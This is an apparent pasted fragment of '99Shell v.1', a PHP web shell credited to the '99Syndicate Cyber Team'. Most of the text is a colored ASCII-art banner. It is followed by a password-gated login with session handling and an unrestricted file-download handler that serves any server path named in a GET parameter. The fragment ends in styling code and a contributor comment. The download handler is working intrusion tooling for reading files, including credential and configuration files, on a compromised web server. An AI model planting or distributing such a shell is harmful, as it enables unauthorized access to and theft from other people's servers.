color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  108. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHH</font><font color='#1B407E'>X</font><font color='#2779FF'>x</font><font color='#236FF2'>6</font><font color='#2475FD'>9</font><font color='#2460C5'>Z</font><font color='#040302'>H</font><font color='#000000'>HHHHHHHHHHHHH</font><font color='#0F1F37'>Q</font><font color='#1E72FA'>6</font><font color='#196BF1'>P</font><font color='#1D6AE8'>P</font><font color='#060F1D'>E</font><font color='#000000'>HH</font><font color='#983528'>D</font><font color='#E84932'>6</font><font color='#E34731'>G</font><font color='#B53D2D'>k</font><font color='#030304'>H</font><font color='#000000'>HHHHHHHH</font><font color='#100807'>W</font><font color='#C23F2C'>g</font><font color='#D93E29'>Z</font><font color='#D7412D'>P</font><font color='#260A0C'>E</font><font color='#121608'>N</font><font color='#F5C110'>C</font><font color='#FFCA09'>z</font><font color='#FFD60B'>3</font><font color='#8C7110'>x</font><font color='#000000'>HHHHHHHHH</font><font color='#57470E'>b</font><font color='#FFCD04'>z</font><font color='#FFC600'>2</font><font color='#DDAA0A'>O</font><font color='#080808'>M</font><font color='#000000'>H</font><font color='#193360'>F</font><font color='#3382FF'>f</font><font color='#2D7AFD'>x</font><font color='#2F74EA'>9</font><font color='#0E192A'>B</font><font color='#000000'>HHHH</font><font color='#08090E'>W</font><font color='#266EE4'>G</font><font color='#2872EA'>6</font><font color='#0D192B'>B</font><font color='#000000'>HHH</font><font color='#081711'>N</font><font color='#059556'>x</font><font color='#009856'>x</font><font color='#02A05B'>f</font><font color='#03301C'>K</font><font color='#000000'>HH</font><font color='#903224'>b</font><font color='#E84831'>6</font><font color='#E64731'>G</font><font color='#9B3729'>y</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  109. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHH</font><font color='#09101C'>E</font><font color='#2670EA'>6</font><font color='#2272F9'>6</font><font color='#216FF2'>6</font><font color='#2579FF'>x</font><font color='#173667'>q</font><font color='#000000'>HHHHHHHHHHHHH</font><font color='#112443'>K</font><font color='#1E71F9'>6</font><font color='#1A6BF0'>P</font><font color='#1D6AE8'>P</font><font color='#071223'>N</font><font color='#000000'>HH</font><font color='#742C22'>X</font><font color='#EA4933'>6</font><font color='#DB442E'>P</font><font color='#D84732'>G</font><font color='#22100D'>N</font><font color='#000000'>HHHHHHHH</font><font color='#100807'>W</font><font color='#C23E2C'>g</font><font color='#DC3E29'>Z</font><font color='#C33D2C'>g</font><font color='#0E0608'>M</font><font color='#000102'>H</font><font color='#D8AB0D'>O</font><font color='#FFCE06'>z</font><font color='#FFD006'>J</font><font color='#C59C0E'>a</font><font color='#000004'>H</font><font color='#000000'>HHHHHHHH</font><font color='#56460E'>b</font><font color='#FFCC03'>z</font><font color='#FFCC00'>z</font><font color='#B58C0C'>S</font><font color='#000002'>H</font><font color='#000000'>H</font><font color='#020100'>H</font><font color='#2553A2'>w</font><font color='#3081FF'>f</font><font color='#2D7EFF'>h</font><font color='#2968D5'>P</font><font color='#0F1B31'>A</font><font color='#010000'>HH</font><font color='#0A0F18'>E</font><font color='#215AB8'>k</font><font color='#2A74EC'>9</font><font color='#101F39'>Q</font><font color='#000000'>HHHH</font><font color='#081711'>N</font><font color='#059656'>x</font><font color='#009855'>x</font><font color='#029F5A'>f</font><font color='#03301C'>K</font><font color='#000000'>HH</font><font color='#68271D'>q</font><font color='#E94932'>6</font><font color='#DB432E'>P</font><font color='#D84732'>G</font><font color='#25110E'>B</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  110. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHH</font><font color='#193D78'>X</font><font color='#257AFF'>x</font><font color='#206EF1'>G</font><font color='#2071F7'>6</font><font color='#246FEC'>6</font><font color='#101C31'>A</font><font color='#000000'>HHHHHHHHHHHH</font><font color='#112443'>K</font><font color='#1E71F9'>6</font><font color='#1A6BF0'>P</font><font color='#1D6AE8'>P</font><font color='#071123'>E</font><font color='#000000'>HH</font><font color='#361612'>Q</font><font color='#E24832'>G</font><font color='#D9432D'>P</font><font color='#E84832'>6</font><font color='#60251C'>F</font><font color='#000000'>HHHHHHHH</font><font color='#190A09'>E</font><font color='#C93D2A'>g</font><font color='#E4412B'>P</font><font color='#8F2F23'>b</font><font color='#000000'>H</font><font color='#000001'>H</font><font color='#997B10'>f</font><font color='#FFD605'>3</font><font color='#FFC704'>2</font><font color='#F9C609'>2</font><font color='#272109'>Q</font><font color='#000000'>HHHHHHHH</font><font color='#66520D'>w</font><font color='#FFCE02'>z</font><font color='#FFD002'>J</font><font color='#67510C'>w</font><font color='#000000'>HHH</font><font color='#040404'>H</font><font color='#1F417D'>d</font><font color='#2C70E6'>6</font><font color='#2F82FF'>f</font><font color='#2D7AFB'>x</font><font color='#265BB5'>k</font><font color='#2557AB'>w</font><font color='#266CE3'>G</font><font color='#2771EB'>6</font><font color='#0C172B'>B</font><font color='#000000'>HHHHH</font><font color='#081710'>N</font><font color='#059556'>x</font><font color='#009754'>x</font><font color='#029E59'>f</font><font color='#03301C'>K</font><font color='#000000'>HH</font><font color='#2D1310'>B</font><font color='#DE4731'>G</font><font color='#D8422C'>P</font><font color='#E6462F'>G</font><font color='#8A3124'>b</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  111. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHH</font><font color='#050506'>M</font><font color='#2058B5'>k</font><font color='#2277FF'>9</font><font color='#1F6CEF'>G</font><font color='#2072FC'>6</font><font color='#2468DA'>P</font><font color='#0D1726'>B</font><font color='#000000'>HHHHHHHHHHH</font><font color='#112443'>K</font><font color='#1E71F8'>6</font><font color='#1A6BEF'>P</font><font color='#1C69E7'>P</font><font color='#071123'>E</font><font color='#000000'>HH</font><font color='#030303'>H</font><font color='#AB3A29'>w</font><font color='#E4452E'>G</font><font color='#E0432D'>P</font><font color='#B43C2A'>k</font><font color='#040403'>H</font><font color='#000000'>HHHHHHH</font><font color='#3E1914'>Q</font><font color='#DE422D'>P</font><font color='#DB412D'>P</font><font color='#351511'>A</font><font color='#000000'>HH</font><font color='#332A0A'>R</font><font color='#FFCD08'>z</font><font color='#FFC601'>2</font><font color='#FFD403'>J</font><font color='#8E710B'>x</font><font color='#000001'>H</font><font color='#000000'>HHHHHH</font><font color='#000001'>H</font><font color='#997609'>h</font><font color='#FFD400'>J</font><font color='#E7B10A'>5</font><font color='#0F0D07'>E</font><font color='#000000'>HHHHH</font><font color='#0A0F18'>E</font><font color='#162B4B'>m</font><font color='#13305F'>R</font><font color='#245DBD'>g</font><font color='#277DFF'>h</font><font color='#277CFF'>x</font><font color='#1B3C73'>p</font><font color='#000000'>HHHHHH</font><font color='#081710'>N</font><font color='#059454'>x</font><font color='#009653'>x</font><font color='#029E58'>f</font><font color='#03301B'>K</font><font color='#000000'>HH</font><font color='#010202'>H</font><font color='#A63828'>y</font><font color='#E5452D'>G</font><font color='#D8412B'>P</font><font color='#DE452E'>G</font><font color='#471C16'>K</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  112. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHH</font><font color='#060B14'>W</font><font color='#2161CA'>Z</font><font color='#2176FF'>9</font><font color='#1E6CF0'>G</font><font color='#1E73FE'>6</font><font color='#2168DC'>P</font><font color='#112342'>Q</font><font color='#000000'>HHHHHHHHHH</font><font color='#102340'>Q</font><font color='#1E70F7'>6</font><font color='#1969EF'>P</font><font color='#1C69E7'>P</font><font color='#071223'>N</font><font color='#000000'>HHH</font><font color='#371611'>Q</font><font color='#DF462F'>G</font><font color='#DC422B'>P</font><font color='#E4462F'>G</font><font color='#5D241B'>F</font><font color='#000000'>HHHHHHH</font><font color='#8C2E22'>d</font><font color='#F0452E'>6</font><font color='#7F2B21'>X</font><font color='#000101'>H</font><font color='#000000'>HH</font><font color='#000002'>H</font><font color='#9B7B0E'>f</font><font color='#FFD701'>3</font><font color='#FFC600'>2</font><font color='#F5C206'>C</font><font color='#292209'>K</font><font color='#000000'>HHHHHH</font><font color='#121008'>E</font><font color='#EAB506'>e</font><font color='#FFD603'>3</font><font color='#5C480C'>D</font><font color='#000000'>HHHHHHHHH</font><font color='#1F50A2'>y</font><font color='#2577FF'>9</font><font color='#2478FF'>x</font><font color='#1C4382'>d</font><font color='#000000'>HHHHHH</font><font color='#08160F'>N</font><font color='#059353'>x</font><font color='#009651'>x</font><font color='#029D56'>h</font><font color='#022D19'>K</font><font color='#000000'>HHH</font><font color='#361612'>Q</font><font color='#DE4630'>G</font><font color='#DA412B'>P</font><font color='#DB422B'>P</font><font color='#D0432E'>P</font><font color='#411A14'>K</font><font color='#000000'>HHHHHHH</font><font color='#030201'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  113. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#080C14'>W</font><font color='#2057B3'>w</font><font color='#2077FF'>9</font><font color='#1C6FF7'>G</font><font color='#1C70FA'>6</font><font color='#2070F4'>6</font><font color='#1A458D'>d</font><font color='#0C1422'>N</font><font color='#010000'>H</font><font color='#000000'>HHHHHHH</font><font color='#132644'>K</font><font color='#1D70F7'>6</font><font color='#176AF0'>P</font><font color='#1C6CEF'>G</font><font color='#071224'>N</font><font color='#000000'>HHHH</font><font color='#66271D'>q</font><font color='#E64730'>G</font><font color='#E2432C'>P</font><font color='#D4422D'>P</font><font color='#3A1713'>Q</font><font color='#000000'>HHHHH</font><font color='#522019'>R</font><font color='#E8442F'>G</font><font color='#A13325'>D</font><font color='#0A0505'>M</font><font color='#000000'>HHHH</font><font color='#0B0904'>W</font><font color='#C79E0C'>a</font><font color='#FFD501'>3</font><font color='#FFCD00'>z</font><font color='#CDA20B'>s</font><font color='#171309'>N</font><font color='#000000'>HHHH</font><font color='#020206'>H</font><font color='#AF8808'>T</font><font color='#FFDE02'>v</font><font color='#907010'>x</font><font color='#000003'>H</font><font color='#000000'>HHHHHHHHH</font><font color='#1C4A99'>b</font><font color='#2479FF'>x</font><font color='#2070F4'>6</font><font color='#2470F1'>6</font><font color='#162E57'>R</font><font color='#000000'>HHHHH</font><font color='#0A1611'>N</font><font color='#079654'>x</font><font color='#00944F'>x</font><font color='#029D55'>h</font><font color='#083621'>R</font><font color='#000000'>HHHH</font><font color='#69251C'>q</font><font color='#E7462F'>G</font><font color='#D9402A'>P</font><font color='#DA402A'>P</font><font color='#D8422D'>P</font><font color='#7F2C21'>X</font><font color='#28120F'>B</font><font color='#040404'>H</font><font color='#000203'>H</font><font color='#020304'>H</font><font color='#2D120E'>B</font><font color='#632720'>q</font><font color='#1D0E0D'>N</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  114. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#040300'>H</font><font color='#17376D'>q</font><font color='#2169DE'>P</font><font color='#1F75FF'>9</font><font color='#1B72FF'>6</font><font color='#1D75FF'>9</font><font color='#1F6CEA'>G</font><font color='#1A50A9'>y</font><font color='#18396E'>p</font><font color='#0D2142'>Q</font><font color='#0B1D3B'>A</font><font color='#0A1D3C'>A</font><font color='#0F274D'>K</font><font color='#1A3C74'>p</font><font color='#17499C'>b</font><font color='#1F68DF'>P</font><font color='#1B71FF'>6</font><font color='#1E6DF0'>G</font><font color='#205EC5'>g</font><font color='#060D18'>W</font><font color='#000000'>HHHH</font><font color='#000001'>H</font><font color='#5A221B'>R</font><font color='#D0422E'>P</font><font color='#EE462E'>6</font><font color='#D9432D'>P</font><font color='#6D261C'>q</font><font color='#26100E'>B</font><font color='#180D0C'>E</font><font color='#311410'>A</font><font color='#882D21'>d</font><font color='#DC4330'>P</font><font color='#892E22'>d</font><font color='#090505'>M</font><font color='#000000'>HHHHHH</font><font color='#100E06'>E</font><font color='#AD8B0E'>S</font><font color='#FFD104'>J</font><font color='#FFDA00'>3</font><font color='#E0AE07'>L</font><font color='#614C0A'>y</font><font color='#231D09'>Q</font><font color='#201B0A'>A</font><font color='#564309'>b</font><font color='#CEA30A'>s</font><font color='#FFCE08'>z</font><font color='#79600E'>P</font><font color='#000004'>H</font><font color='#000000'>HHHHHHHHHH</font><font color='#121D2E'>A</font><font color='#2671ED'>6</font><font color='#1F6FF6'>6</font><font color='#1F70F7'>6</font><font color='#2373F9'>9</font><font color='#193E7A'>X</font><font color='#020000'>H</font><font color='#000000'>HH</font><font color='#020202'>H</font><font color='#0D5C37'>D</font><font color='#02A357'>f</font><font color='#009951'>x</font><font color='#009D52'>h</font><font color='#078B4C'>6</font><font color='#0F6038'>y</font><font color='#15432D'>p</font><font color='#030202'>H</font><font color='#000000'>HH</font><font color='#63251C'>q</font><font color='#D3422E'>P</font><font color='#E2422D'>P</font><font color='#DC3F2A'>P</font><font color='#E3412B'>P</font><font color='#D3402C'>Z</font><font color='#B43929'>w</font><font color='#AF3829'>w</font><font color='#C03B2B'>k</font><font color='#B83C2D'>k</font><font color='#451A15'>K</font><font color='#000101'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  115. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#090E15'>E</font><font color='#16366A'>q</font><font color='#1E57B6'>w</font><font color='#1F68E2'>P</font><font color='#2174FB'>9</font><font color='#1F78FF'>9</font><font color='#207BFF'>x</font><font color='#1F78FF'>9</font><font color='#2176FF'>9</font><font color='#2477FE'>9</font><font color='#2475FB'>9</font><font color='#206DEC'>G</font><font color='#2165D4'>P</font><font color='#1A4DA1'>D</font><font color='#153466'>F</font><font color='#0E1C32'>A</font><font color='#050506'>M</font><font color='#000000'>HHHHHHH</font><font color='#200E0C'>N</font><font color='#782A20'>X</font><font color='#BA3C2A'>k</font><font color='#DB432F'>P</font><font color='#D54734'>G</font><font color='#C4402F'>Z</font><font color='#BA3D2D'>k</font><font color='#973226'>D</font><font color='#3B1814'>Q</font><font color='#000001'>H</font><font color='#000000'>HHHHHHHH</font><font color='#000004'>H</font><font color='#52440E'>b</font><font color='#B4910E'>8</font><font color='#F5BE07'>n</font><font color='#FFCD0A'>z</font><font color='#F5C310'>C</font><font color='#E9B60C'>e</font><font color='#E0B20E'>5</font><font color='#9E7F0D'>V</font><font color='#2C230A'>K</font><font color='#000001'>H</font><font color='#000000'>HHHHHHH</font><font color='#060505'>M</font><font color='#102342'>Q</font><font color='#1C4384'>d</font><font color='#1D52A9'>y</font><font color='#285FBA'>g</font><font color='#2971EA'>6</font><font color='#2373FB'>9</font><font color='#1F70F7'>6</font><font color='#1D6EF4'>G</font><font color='#2176FF'>9</font><font color='#194287'>d</font><font color='#010000'>H</font><font color='#000000'>H</font><font color='#0E281C'>K</font><font color='#107D48'>P</font><font color='#0A7441'>g</font><font color='#0A7240'>g</font><font color='#0A7140'>g</font><font color='#0A7742'>Z</font><font color='#0C8449'>G</font><font color='#0E4128'>q</font><font color='#020101'>H</font><font color='#000000'>HHH</font><font color='#28120F'>B</font><font color='#842E22'>d</font><font color='#B93A29'>k</font><font color='#CD3E2C'>Z</font><font color='#D6422F'>P</font><font color='#D13E2B'>Z</font><font color='#BC3929'>k</font><font color='#7B2A20'>X</font><font color='#170B09'>E</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  116. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#030000'>H</font><font color='#090F17'>E</font><font color='#11213A'>Q</font><font color='#0C244B'>K</font><font color='#0C2959'>m</font><font color='#0C2957'>m</font><font color='#0B2349'>Q</font><font color='#102240'>Q</font><font color='#101C2E'>A</font><font color='#060A12'>W</font><font color='#050401'>H</font><font color='#000000'>HHHHHHHHHHHHH</font><font color='#040404'>H</font><font color='#1D0E0C'>N</font><font color='#2F1613'>A</font><font color='#26110E'>B</font><font color='#0C0605'>M</font><font color='#000000'>HHHHHHHHHHHHH</font><font color='#000004'>H</font><font color='#131006'>E</font><font color='#2E280D'>m</font><font color='#3B310F'>F</font><font color='#282108'>Q</font><font color='#090805'>M</font><font color='#000001'>H</font><font color='#000000'>HHHHHHH</font><font color='#050608'>M</font><font color='#193B70'>p</font><font color='#266BDE'>G</font><font color='#286FE5'>6</font><font color='#2052A7'>y</font><font color='#163871'>q</font><font color='#0D2246'>Q</font><font color='#101D33'>A</font><font color='#112445'>K</font><font color='#1F60CC'>g</font><font color='#1D74FF'>9</font><font color='#1B6CF1'>G</font><font color='#1F75FF'>9</font><font color='#17386F'>q</font><font color='#000000'>H</font><font color='#030303'>H</font><font color='#040001'>H</font><font color='#050001'>HHHH</font><font color='#050000'>H</font><font color='#000000'>HHHHHHH</font><font color='#080605'>M</font><font color='#21100E'>N</font><font color='#2C1512'>A</font><font color='#1D0E0C'>N</font><font color='#050404'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  117. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#09111F'>E</font><font color='#225FC2'>g</font><font color='#267EFF'>h</font><font color='#1B4D9F'>D</font><font color='#090F19'>E</font><font color='#000000'>HHHHH</font><font color='#090E16'>E</font><font color='#1C54B1'>w</font><font color='#1C72FF'>6</font><font color='#1A6DF6'>G</font><font color='#206DEA'>G</font><font color='#09111F'>E</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  118. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#06090E'>W</font><font color='#2261CC'>Z</font><font color='#237DFF'>x</font><font color='#1C4EA3'>D</font><font color='#010000'>H</font><font color='#000000'>HHHHHHH</font><font color='#060709'>M</font><font color='#1B55B4'>w</font><font color='#1C70FB'>6</font><font color='#1E74FF'>9</font><font color='#153365'>F</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  119. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#183B75'>p</font><font color='#2279FF'>x</font><font color='#2171F5'>6</font><font color='#0E1D36'>A</font><font color='#000000'>HHHHHHHHH</font><font color='#0A111D'>E</font><font color='#1C67E1'>P</font><font color='#1C74FF'>6</font><font color='#123E87'>X</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  120. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#020101'>H</font><font color='#1F5DC4'>g</font><font color='#1D74FF'>9</font><font color='#2069E1'>P</font><font color='#060B13'>W</font><font color='#000000'>HHHHHHHHH</font><font color='#010000'>H</font><font color='#1C52AB'>y</font><font color='#1D79FF'>9</font><font color='#133C7F'>p</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  121. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#06080A'>M</font><font color='#1E65DB'>Z</font><font color='#1C70FA'>6</font><font color='#1F6EEE'>G</font><font color='#0A1425'>N</font><font color='#000000'>HHHHHHHHH</font><font color='#010000'>H</font><font color='#1C4FA1'>D</font><font color='#1F7AFF'>x</font><font color='#142D55'>R</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  122. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#030203'>H</font><font color='#1E5FCA'>g</font><font color='#1B6FFB'>G</font><font color='#1D73FF'>6</font><font color='#163A75'>p</font><font color='#000000'>HHHHHHHHH</font><font color='#040404'>H</font><font color='#1C62D5'>Z</font><font color='#1F69E2'>P</font><font color='#070A11'>W</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  123. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#184081'>X</font><font color='#1D76FF'>9</font><font color='#1A6CF3'>G</font><font color='#1E6AE8'>P</font><font color='#10213E'>Q</font><font color='#000000'>HHHHHHH</font><font color='#010000'>H</font><font color='#153A76'>p</font><font color='#2079FF'>x</font><font color='#132F5E'>R</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  124. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#080B11'>W</font><font color='#2061CA'>Z</font><font color='#1C73FF'>6</font><font color='#1A6EF8'>G</font><font color='#1D69E7'>P</font><font color='#163C7A'>p</font><font color='#0C1626'>B</font><font color='#050402'>H</font><font color='#000000'>HH</font><font color='#040200'>H</font><font color='#0B1423'>N</font><font color='#174695'>d</font><font color='#2176FF'>9</font><font color='#173E81'>X</font><font color='#010000'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  125. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#0A111D'>E</font><font color='#1C54B0'>w</font><font color='#1F72F9'>6</font><font color='#1B74FF'>6</font><font color='#1D77FF'>9</font><font color='#1D6EF0'>G</font><font color='#1B5ECB'>g</font><font color='#1751B0'>y</font><font color='#1954B3'>y</font><font color='#1C5FCE'>g</font><font color='#2171F3'>6</font><font color='#1F68E0'>P</font><font color='#132E5C'>R</font><font color='#010000'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  126. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#030100'>H</font><font color='#102444'>K</font><font color='#1B4892'>b</font><font color='#1957BC'>w</font><font color='#2166D8'>P</font><font color='#226BE1'>G</font><font color='#226AE2'>P</font><font color='#1A5DCA'>g</font><font color='#1C4FA3'>D</font><font color='#122C56'>R</font><font color='#07080B'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  127. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#020000'>H</font><font color='#0A0B0D'>W</font><font color='#0A0D11'>E</font><font color='#0A0B0D'>W</font><font color='#030000'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  128. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  129. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  130. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  131. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  132. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  133. </pre>
  134. </div>
  135.     </pre>
  136.  
  137. </header>
  138.     </body>
  139.    
  140. <form method="post">
  141. <input type="password" name="pass">
  142. <input type="submit" name="submit" value="Search">
  143. <font face="Rockwell Condensed"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  144. <center>99<font color=lime >Shell</font>
  145. </font>
  146. </form>
  147. <?php
  148. exit;
  149. }
  150. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  151.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  152.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  153.     else
  154.         login_shell();
  155. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  156.     @ob_clean();
  157.     $file = $_GET['file'];
  158.     header('Content-Description: File Transfer');
  159.     header('Content-Type: application/octet-stream');
  160.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  161.     header('Expires: 0');
  162.     header('Cache-Control: must-revalidate');
  163.     header('Pragma: public');
  164.     header('Content-Length: ' . filesize($file));
  165.     readfile($file);
  166.     exit;
  167. }
  168. ?>
  169. <html>
  170. <head>
  171. <title>99Syndicate</title>
  172. <link rel="shortcut icon" href="http://99syndicate.tk/images/1486034544-pic-pisay.png" type="image/png"/>
  173. <meta name='author' content='99Syndicate'>
  174. <meta charset="UTF-8">
  175. <style type='text/css'>
  176. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  177. html {
  178.     background: black;
  179.     color: red;
  180.     font-family: 'Ubuntu';
  181.     font-size: 13px;
  182.     width: 100%;
  183. }
  184. li {
  185.     display: inline;
  186.     margin: 5px;
  187.     padding: 5px;
  188. }
  189. table, th, td {
  190.     border-collapse:collapse;
  191.     font-family: Tahoma, Geneva, sans-serif;
  192.     background: transparent;
  193.     font-family: 'Ubuntu';
  194.     font-size: 13px;
  195. }
  196. .table_home, .th_home, .td_home {
  197.     border: 1px solid #ffffff;
  198. }
  199. th {
  200.     padding: 10px;
  201. }
  202. a {
  203.     color: red;
  204.     text-decoration: none;
  205. }
  206. a:hover {
  207.     color: white;
  208.     text-decoration: underline;
  209. }
  210. b {
  211.     color: red;
  212. }
  213. input[type=text], input[type=password],input[type=submit] {
  214.     background: black;
  215.     color: #ffffff;
  216.     border: 1px solid #ffffff;
  217.     margin: 5px auto;
  218.     padding-left: 5px;
  219.     font-family: 'Ubuntu';
  220.     font-size: 13px;
  221. }
  222. textarea {
  223.     border: 1px solid #ffffff;
  224.     width: 100%;
  225.     height: 400px;
  226.     padding-left: 5px;
  227.     margin: 10px auto;
  228.     resize: none;
  229.     background: black;
  230.     color: #ffffff;
  231.     font-family: 'Ubuntu';
  232.     font-size: 13px;
  233. }
  234. select {
  235.     width: 152px;
  236.     background: #000000;
  237.     color: lime;
  238.     border: 1px solid #ffffff;
  239.     margin: 5px auto;
  240.     padding-left: 5px;
  241.     font-family: 'Ubuntu';
  242.     font-size: 13px;
  243. }
  244. option:hover {
  245.     background: lime;
  246.     color: #000000;
  247. }
  248. .a{text-shadow:0px 1px 10px white;}
  249. .b{text-shadow:0px 1px 10px lime;}
  250. .c{text-shadow:0px 1px 10px red;}
  251.  
  252. </style>
  253. </head>
  254. <body bgcolor="black">
  255. <marquee direction="left"loop="true" scrollamount="300" >
  256.  
  257. __________________________________________________________________________________________
  258.  
  259. __________________________________________________________________________________________
  260.  
  261. </font>
  262. </marquee>
  263. <link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
  264. <center><font face="Iceland" size="7" class="a" color="red">99Shell v.1</font><br><font face="Iceland" size="7" class="c" color="white">99Syndicate Cyber Team</font><marquee direction="right" loop="true" scrollamount="300" >
  265. __________________________________________________________________________________________
  266.  
  267. __________________________________________________________________________________________
  268.  
  269. </font></marquee><hr></center>
  270.  
  271. <table><center>
  272.  
  273.  
  274. <?php
  275. ###############################################################################
  276. // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
